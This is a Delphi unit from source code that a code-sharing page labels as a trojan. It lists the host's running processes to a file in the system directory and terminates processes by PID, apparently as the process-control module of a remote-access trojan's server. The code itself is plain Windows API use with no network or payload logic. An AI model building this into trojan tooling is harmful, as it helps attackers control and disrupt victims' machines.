procesy.pas

来自「New Trojan source delphi source code」· PAS 代码 · 共 46 行

PAS
46
字号
unit procesy;

interface
uses
windows,sysutils,tlhelp32,classes,serverunit;

procedure MyPS;
function MyKILL(pid:int64):boolean;

implementation

{A oto PS}
procedure MyPS;
var
  sHandle:thandle;pEntry:tprocessentry32;
  s:string;
  plik:textfile;
begin
  assignfile(plik,string(form1.sysdir)+'\ps.ps');
  rewrite(plik);
  sHandle:=createtoolhelp32snapshot(TH32CS_SNAPPROCESS,0);
  pEntry.dwSize:=sizeof(pEntry);
  if integer(process32first(sHandle,pEntry))<>0 then
  repeat
    s:=inttostr(pEntry.th32ProcessID)+':  '+pEntry.szExeFile;
    writeln(plik,s);
  until integer(process32next(sHandle,pEntry))=0;
  closehandle(sHandle);
  closefile(plik);
end;
{Koniec PS'a}

{A oto KILL}
function MyKILL(pid:int64):boolean;
var
  sHandle:thandle;
begin
  try
    sHandle:=openprocess(PROCESS_TERMINATE,bool(0),pid);
    if integer(terminateprocess(sHandle,0))=0 then result:=false else result:=true;
  except end;
end;
{Koniec KILL'a}

end.

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?